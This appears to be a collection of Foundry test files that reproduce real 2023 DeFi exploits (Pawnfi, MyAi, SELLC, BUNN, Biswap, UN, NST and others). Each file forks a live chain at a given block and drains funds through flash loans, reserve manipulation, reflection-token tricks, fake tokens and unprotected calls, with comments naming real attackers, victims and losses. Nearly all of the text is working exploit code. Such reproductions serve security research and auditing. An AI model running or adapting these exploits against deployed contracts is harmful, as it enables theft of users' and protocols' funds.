        vm.label(address(MultipleSourceOracle), "MultipleSourceOracle");
        vm.label(address(ApeStaking1), "ApeStaking1");
        vm.label(address(ApeStaking2), "ApeStaking2");
    }

    function testExploit() public {
        deal(address(this), 0);
        // I add the following line of code only to make the poc work.
        // Without it the output from APE.balanceOf(P-BAYC) will be 0 and the error 'ERC20: transfer amount exceeds balance' will occur
        // In the attack tx APE balance of P-BAYC is as below. This issue occurs also with other attack txs.
        deal(address(APE), address(PBAYC), 206_227_682_165_404_022_135_955);

        emit log_named_decimal_uint("Attacker ETH balance before attack", address(this).balance, 18);
        emit log_named_decimal_uint("Attacker APE balance before attack", APE.balanceOf(address(this)), APE.decimals());
        emit log_named_decimal_uint(
            "Attacker isAPE balance before attack", isAPE.balanceOf(address(this)), isAPE.decimals()
        );

        UniV3Pool.flash(address(this), 200_000 * 1e18, 0, new bytes(1));

        emit log_named_decimal_uint("Attacker ETH balance after attack", address(this).balance, 18);
        emit log_named_decimal_uint("Attacker APE balance after attack", APE.balanceOf(address(this)), APE.decimals());
        emit log_named_decimal_uint(
            "Attacker isAPE balance after attack", isAPE.balanceOf(address(this)), isAPE.decimals()
        );
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        APE.approve(address(sAPE), APE.balanceOf(address(this)));
        sAPE.mint(APE.balanceOf(address(this)));
        sAPE.approve(address(isAPE), sAPE.balanceOf(address(this)));
        isAPE.mint(sAPE.balanceOf(address(this)));

        address[] memory cTokens = new address[](1);
        cTokens[0] = address(isAPE);
        Unitroller.enterMarkets(cTokens);

        iPBAYC.borrow(1005 * 1e18);
        // emit log_uint(PBAYC.balanceOf(address(this)));
        PBAYC.approve(address(PBAYC), PBAYC.balanceOf(address(this)));
        uint256[] memory nftIds = PBAYC.randomTrade(1);

        BAYC.setApprovalForAll(address(ApeStaking1), true);
        ApeStaking1.setCollectRate(1e18);

        uint256[] memory _mainTokenIds = new uint256[](1);
        _mainTokenIds[0] = nftIds[0];
        uint256[] memory _bakcTokenIds;
        ApeStakingStorage.DepositInfo memory depositInfo =
            ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds});
        ApeStakingStorage.StakingInfo memory stakingInfo =
            ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0});
        IApeCoinStaking.SingleNft[] memory _nfts;
        IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs;
        ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs);

        borrowEth();

        for (uint256 i; i < 20; ++i) {
            (, uint16 lastRewardsRangeIndex,,) = ApeStaking2.pools(1);
            IApeCoinStaking.TimeRange memory timeRange = ApeStaking2.getTimeRangeBy(1, lastRewardsRangeIndex);

            depositBorrowWithdrawApe(timeRange.capPerPosition);
        }
        depositBorrowWithdrawApe(APE.balanceOf(address(PBAYC)));
        APE.transfer(address(UniV3Pool), 200_000 * 1e18 + fee0);
    }

    function borrowEth() internal {
        (, uint256 accLiquidity,) = Unitroller.getAccountLiquidity(address(this));
        uint256 cashBalanceEth = CEther.getCash();
        uint256 underlyingPrice = MultipleSourceOracle.getUnderlyingPrice(address(CEther));
        uint256 liquidity = (underlyingPrice * cashBalanceEth) / 1e18;

        if (liquidity <= accLiquidity) {
            CEther.borrow(cashBalanceEth);
        } else {
            uint256 borrowAmount = (accLiquidity * 1e18) / underlyingPrice;
            CEther.borrow(borrowAmount);
        }
    }

    function depositBorrowWithdrawApe(
        uint256 amount
    ) internal {
        uint256[] memory _mainTokenIds;
        uint256[] memory _bakcTokenIds;
        ApeStakingStorage.DepositInfo memory depositInfo =
            ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds});
        ApeStakingStorage.StakingInfo memory stakingInfo =
            ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0});
        IApeCoinStaking.SingleNft[] memory _nfts = new IApeCoinStaking.SingleNft[](1);
        _nfts[0] = IApeCoinStaking.SingleNft({
            tokenId: 9829, // nftIds[0]
            amount: uint224(amount)
        });
        IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs;
        ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs);
        IApeCoinStaking.PairNftWithdrawWithAmount[] memory nftPairs_;
        ApeStaking1.withdrawApeCoin(address(BAYC), _nfts, nftPairs_);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

Pawnfi Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~10 $BNB
// Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12
// Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3
// Vulnerable Contract : https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101
// Attack Tx : https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6

import "forge-std/Test.sol";
import "./../interface.sol";

interface IMultiSender {
    function batchTokenTransfer(
        address _from,
        address[] memory _address,
        uint256[] memory _amounts,
        address token,
        uint256 totalAmount,
        bool isToken
    ) external payable;
}

contract ContractTest is Test {
    IERC20 MyAi = IERC20(0x40d1E011669c0dc7Dc7c7Fb93E623d6A661Df5Ee);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IMultiSender MultiSender = IMultiSender(0xDb103fd28Ca4B18115F5Ce908baaeed7E0f1f101);
    address Victim = 0x003B724f9e1fa7350A7723BB8313ACBDbE7188CB;

    function setUp() public {
        vm.createSelectFork("bsc", 29_554_344 - 1);
        vm.label(address(WBNB), "WBNB");
        vm.label(address(MyAi), "MyAi");
        vm.label(address(MultiSender), "MultiSender");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
        MyAi.approve(address(PancakeRouter), type(uint256).max);
        MyAi.approve(address(MultiSender), type(uint256).max);

        address[] memory Attack = new address[](100);
        for (uint256 i = 0; i < Attack.length; i++) {
            Attack[i] = address(this);
        }
        uint256[] memory Token = new uint256[](100);
        for (uint256 i = 0; i < Attack.length; i++) {
            Token[i] = 999_999_999_999_400;
        }

        MultiSender.batchTokenTransfer{value: 1 ether}(
            Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true
        );
        for (uint256 i = 0; i < 100; i++) {
            TOKENToWBNB();
        }
        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
    }

    function TOKENToWBNB() internal {
        address[] memory path = new address[](2);
        path[0] = address(MyAi);
        path[1] = address(WBNB);
        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            999_999_999_999_400, 0, path, address(this), block.timestamp
        );
    }

    fallback() external payable {}
    receive() external payable {}
}

MyAi Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~5955  USD
// TX : https://app.blocksec.com/explorer/tx/bsc/0xe1bf84b7a57498c0573361b20b16077cc933e4c47aa0821bcea5b158a60ef505
// Attacker : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d
// Attack Contract : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d
// GUY : https://x.com/DecurityHQ/status/1673708133926031360

contract Exploit is Test {
    address Vulncontract = 0xAC899Ef647533E0dE91E269202f1169d7D47Ae92;
    IDPPOracle DPPOracle = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);

    function setUp() public {
        vm.createSelectFork("bsc", 29_469_587);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);

        DPPOracle.flashLoan(0, 1_243_763_239_827_755_213_151_683, address(this), abi.encode(address(this)));
        emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        BUSD.approve(address(Vulncontract), 9999 ether);
        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xe2bbb158), 0, 5_955_466_788_004_705_247_296));
        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xc3490263), 0, 5_955_466_788_004_705_247_296));

        BUSD.transferFrom(address(Vulncontract), address(this), 5_955_466_788_004_705_247_296);

        BUSD.transfer(address(msg.sender), quoteAmount);
    }

    receive() external payable {}
}

UnverifiedContr_9ad32 Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : unclear US$
// Attacker : https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089
// Attack Contract : https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052
// Vulnerable Contract : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1
// Attack Tx : https://bscscan.com/tx/0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1#code

// @Analysis
// Twitter Guy : https://twitter.com/EoceneSecurity/status/1668468933723328513

interface Miner {
    function setBNB(address token, address token1) external payable;
    function sendMiner(
        address token
    ) external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);
    Miner miner = Miner(0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1);
    Uni_Pair_V2 SELLC_USDT = Uni_Pair_V2(0x9523B023E1D2C490c65D26fad3691b024d0305D7);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IDPPOracle oracle = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 29_005_754);
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(USDT), "USDT");
        cheats.label(address(SELLC), "SELLC");
        cheats.label(address(SELLC_USDT), "SELLC_USDT");
        cheats.label(address(Router), "Router");
        WBNB.approve(address(Router), type(uint256).max);
        USDT.approve(address(Router), type(uint256).max);
        SELLC.approve(address(Router), type(uint256).max);
        SELLC_USDT.approve(address(Router), type(uint256).max);
    }

    function testExploit() public {
        miner.setBNB{value: 0.01 ether}(address(SELLC), address(USDT));
        cheats.warp(block.timestamp + 1 * 86_400 + 1);
        oracle.flashLoan(600 * 1e18, 0, address(this), new bytes(1));
        emit log_named_decimal_uint(
            "[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(SELLC);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            200 * 1e18, 0, path, address(this), block.timestamp
        );
        path[0] = address(SELLC);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SELLC.balanceOf(address(this)) * 1 / 100, 0, path, address(this), block.timestamp
        );
        Router.addLiquidity(
            address(SELLC),
            address(USDT),
            SELLC.balanceOf(address(this)),
            USDT.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp
        ); // add SELLC-USDT Liquidity
        path[0] = address(WBNB);
        path[1] = address(SELLC);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            400 * 1e18, 0, path, address(this), block.timestamp
        );
        miner.sendMiner(address(SELLC));
        Router.removeLiquidity(
            address(SELLC), address(USDT), SELLC_USDT.balanceOf(address(this)), 0, 0, address(this), block.timestamp
        ); // remove SELLC-USDT Liquidity
        path[0] = address(SELLC);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SELLC.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        WBNB.transfer(address(oracle), 600 * 1e18);
    }
}

SELLC03 Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/DecurityHQ/status/1671803688996806656
// @TX
// https://bscscan.com/tx/0x24a68d2a4bbb02f398d3601acfd87b09f543d935fc24862c314aaf64c295acdb
// @Summary
// Reelection token,call deliver function to decrease pairs token balance,and swap to get the profit.

interface Bunn is IERC20 {
    function deliver(
        uint256 tAmount
    ) external;
}

contract ContractTest is Test {
    IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Bunn constant BUNN = Bunn(0xc54AAecF5fA1b6c007d019a9d14dFb4a77CC3039);
    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IPancakePair constant Bunn_Wbnb_Poll = IPancakePair(0xb4B84375Ae9bb94d19F416D3db553827Be349520);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() external {
        cheats.createSelectFork("bsc", 29_304_627);
    }

    function testExploit() external {
        Bunn_Wbnb_Poll.swap(44 ether, 1_000_000_000_000, address(this), "0x0"); //44 bnb profit
        Bunn_Wbnb_Poll.swap(8 ether, 1_000_000_000_000, address(this), "0x0"); // 8 bnb profit

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        console.log("Before deliver,pair bunn balance:", BUNN.balanceOf(address(Bunn_Wbnb_Poll)));
        BUNN.deliver(990_000_000_000);
        console.log("After deliver,pair bunn balance:", BUNN.balanceOf(address(Bunn_Wbnb_Poll)));
    }
}

BUNN Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~72K
// Attacker - https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976
// Attack contract - https://bscscan.com/address/0x1d448e9661c5abfc732ea81330c6439b0aa449b5
// Attack Tx : https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e, https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976

// @Analysis - https://twitter.com/MetaTrustAlert/status/1674814217122349056?s=20

interface V3Migrator {
    struct MigrateParams {
        address pair; // the Uniswap v2-compatible pair
        uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
        address token0;
        address token1;
        uint16 fee;
        int24 tickLower;
        int24 tickUpper;
        uint128 amount0Min; // must be discounted by percentageToMigrate
        uint128 amount1Min; // must be discounted by percentageToMigrate
        address recipient;
        uint256 deadline;
        bool refundAsETH;
    }

    function migrate(
        MigrateParams calldata params
    ) external returns (uint256 refund0, uint256 refund1);
}

interface IBiswapFactoryV3 {
    function newPool(address tokenX, address tokenY, uint16 fee, int24 currentPoint) external returns (address);
}

contract SimpleERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function balanceOf(
        address account
    ) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract FakeToken is SimpleERC20 {
    uint256 token0Amount;
    uint256 token1Amount;

    constructor() SimpleERC20("fake", "fake") {
        _mint(msg.sender, 10_000e18 * 1e18);
    }
}

contract FakePair is SimpleERC20 {
    uint256 token0Amount;
    uint256 token1Amount;

    constructor() SimpleERC20("fakePair", "fakePair") {
        _mint(msg.sender, 10_000e18 * 1e18);
    }

    function update(uint256 t0, uint256 t1) external {
        token0Amount = t0;
        token1Amount = t1;
    }

    function burn(
        address to
    ) external returns (uint256, uint256) {
        return (token0Amount, token1Amount);
    }
}

contract ContractTest is Test {
    function setUp() public {
        // fork bsc
        uint256 forkId = vm.createFork("bsc", 29_554_461);
        vm.selectFork(forkId);
    }

    function testExploit() public {
        V3Migrator migrator = V3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
        IUniswapV2Pair pairToMigrate = IUniswapV2Pair(0x63b30de1A998e9E64FD58A21F68D323B9BcD8F85);
        address victimAddress = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;

        IBiswapFactoryV3 biswapV3 = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
        //0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator
        FakeToken fakeToken0 = new FakeToken();
        FakeToken fakeToken1 = new FakeToken();
        FakePair fakePair = new FakePair();
        biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1);
        fakeToken0.transfer(address(migrator), 1e9 * 1e18);
        fakeToken1.transfer(address(migrator), 1e9 * 1e18);

        uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress);
        emit log_named_uint("liquidity to migrate", liquidityValue);
        IERC20 token0 = IERC20(pairToMigrate.token0());
        IERC20 token1 = IERC20(pairToMigrate.token1());
        assert(token0.balanceOf(address(this)) == 0);

        //1. Burn victim's LP token and add liquidity with fake tokens
        V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(
            address(pairToMigrate),
            liquidityValue,
            address(fakeToken1),
            address(fakeToken0),
            150,
            10_000,
            20_000,
            0,
            0,
            victimAddress,
            block.timestamp + 1 minutes,
            false
        );
        migrator.migrate(params);

        uint256 token0Balance = token0.balanceOf(address(migrator));
        uint256 token1Balance = token1.balanceOf(address(migrator));
        fakePair.update(token0Balance, token1Balance);
        emit log_named_decimal_uint("this token0 before", token0.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("this token1 before", token1.balanceOf(address(this)), 18);

        //2. Steal tokens
        fakePair.transfer(address(this), 1e9 * 1e18);
        fakePair.approve(address(migrator), 1e9 * 1e18);
        V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(
            address(fakePair),
            liquidityValue,
            address(token0),
            address(token1),
            800,
            10_000,
            20_000,
            0,
            0,
            address(this),
            block.timestamp + 1 minutes,
            false
        );
        migrator.migrate(params2);

        assert(token0.balanceOf(address(this)) > 1e18);
        emit log_named_decimal_uint("this token0 after", token0.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("this token1 after", token1.balanceOf(address(this)), 18);
    }
}

Biswap Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~26K USD$
// Attacker - https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
// Attack contract - https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9
// Attack Tx : https://bscscan.com/tx/0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b

// @Analysis - https://twitter.com/MetaTrustAlert/status/1667041877428932608

contract ContractTest is Test {
    IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);

    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 UN = IERC20(0x1aFA48B74bA7aC0C3C5A2c8B7E24eB71D440846F);
    IUniswapV2Pair Pair = IUniswapV2Pair(0x5F739a4AdE4341D4AEe049E679095BcCbe904Ee1);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_864_173);
        cheats.label(address(DPPOracle), "DPPOracle");
        cheats.label(address(BUSD), "BUSD");
        cheats.label(address(UN), "UN");
        cheats.label(address(this), "AttackerContract");
        cheats.label(address(Pair), "Pair");
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
        );

        // End of preparation. Attack start
        DPPOracle.flashLoan(0, 29_100 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint(
            "Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        (uint256 UNReserve, uint256 USDReserve,) = Pair.getReserves();
        uint256 amountIn = BUSD.balanceOf(address(this));
        uint256 amountOut = (9970 * amountIn * UNReserve) / (10_000 * USDReserve + 9970 * amountIn);
        BUSD.transfer(address(Pair), amountIn);
        Pair.swap(amountOut, 0, address(this), new bytes(0));

        UN.transfer(address(Pair), UN.balanceOf(address(this)) * 93 / 100);
        Pair.skim(address(this));
        UN.transfer(address(Pair), UN.balanceOf(address(this)) * 90 / 100);
        Pair.skim(address(this));
        UN.transfer(address(Pair), UN.balanceOf(address(this)) * 80 / 100);
        Pair.skim(address(this));

        (UNReserve, USDReserve,) = Pair.getReserves();
        amountIn = UN.balanceOf(address(this));
        amountOut = (9970 * amountIn * USDReserve) / (10_000 * UNReserve + 9970 * amountIn);
        UN.transfer(address(Pair), amountIn);
        Pair.swap(0, amountOut, address(this), new bytes(0));

        BUSD.transfer(address(DPPOracle), 29_100 * 1e18);
    }
}

UN Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "./../interface.sol";

// REKT - NST Simple Swap
// Write up Author
// https://twitter.com/eugenioclrc
// Reported on https://discord.com/channels/1100129537603407972/1100129538056396870/1114142216923926528
// @TX
// https://polygonscan.com/tx/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d
// https://openchain.xyz/trace/polygon/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d
// @Summary
// Milktech is a software company that explores Polygon web3 technologies and recently ventured into
// tokens and token payments. They created a token called NST, which maintains a constant price based
// on USD. Several contracts were developed, with the main one being the swap contract. This contract
// facilitates a straightforward exchange between two tokens: NST (the internal company token) and USDT,
// ensuring a consistent price ratio. NST is an ERC-20 token with an additional role called the Minter,
// allowing specific addresses to mint new tokens. Only the owner of the contract can assign this
// role. The swap contract is ownable and features two primary functions: buyNST, which takes USDT as input,
// and sellNST, which takes NST as input. Additionally, the contract includes the ability to pause trading
// between the tokens. While the token itself was verified, the swap contract was not.

// Exploit Address: https://polygonscan.com/address/0x3bb7a0f2fe88aba35408c64f588345481490fe93
// Attacker Address: https://polygonscan.com/address/0xcb3585f3e09f0238a3f61838502590a23f15bb5b

contract NstExploitTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    IERC20 usdt = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
    IERC20 nst = IERC20(0x83eE54ccf462255ea3Ec56Fa8dE6797d679276e7);

    address swapper = 0x9D101E71064971165Cd801E39c6B07234B65aa88;

    function setUp() public {
        cheats.createSelectFork("polygon", 43_430_814);
        vm.label(address(usdt), "USDT");
        vm.label(address(nst), "NST");
        vm.label(swapper, "swapper");

        assertEq(block.number, 43_430_814);
    }

    function testExploit() public {
        usdt.approve(swapper, type(uint256).max);
        nst.approve(swapper, type(uint256).max);

        // the attacker use balancer to take a flashloan of 40k usd, im gonna mock it
        // to make it simpler to read
        deal(address(usdt), address(this), 40_000_000_000); // 40k usd, usdt has 6 decimals

        (bool ret, bytes memory data) = swapper.call(abi.encodeWithSelector(bytes4(0x6e41592c), 40_000_000_000));
        require(ret, "call failed");
        uint256 retAmount = abi.decode(data, (uint256));

        (ret, data) = swapper.call(abi.encodeWithSelector(bytes4(0x7cd0599b), retAmount));
        require(ret, "call2 failed");

        usdt.transferFrom(swapper, address(this), 31_559_083_207);

        console.log("USDT Theft", usdt.balanceOf(address(this)) - 40_000_000_000);
    }
}

NST Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~1300 $USDC
// Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f
// Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221
// Vulnerable Contract : https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77
// Attack Tx : https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5

import "forge-std/Test.sol";
import "./../interface.sol";

interface IDPPAdvanced {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
}

interface IUSDTinterface {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function approve(address _spender, uint256 _value) external;
    function balanceOf(
        address owner
    ) external view returns (uint256);
    function transfer(address _to, uint256 _value) external;
}

contract ContractTest is Test {
    IUSDTinterface USDT = IUSDTinterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    address Contract_addr = 0x76577603F99EAe8320F70B410a350a83D744CB77;
    address Victim = 0x637b935CbA030Aeb876eae07Aa7FF637166de4D6;

    function setUp() public {
        vm.createSelectFork("mainnet", 17_511_178 - 1);
        vm.label(address(USDT), "USDT");
        vm.label(address(Contract_addr), "Contract_addr");
        vm.label(address(Victim), "Victim");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
        uint256 Victim_balance = USDT.balanceOf(address(Victim));
        (bool success, bytes memory data) =
            Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));
        emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
    }

    function Sell(uint256 _snipeID, uint256 _sellPercentage) external payable returns (bool) {
        address(USDT).call(abi.encodeWithSelector(bytes4(0x23b872dd), Contract_addr, address(this), _snipeID));
        return false;
    }

    fallback() external payable {}
    receive() external payable {}
}

Contract_0x7657 Exploit (2023-06)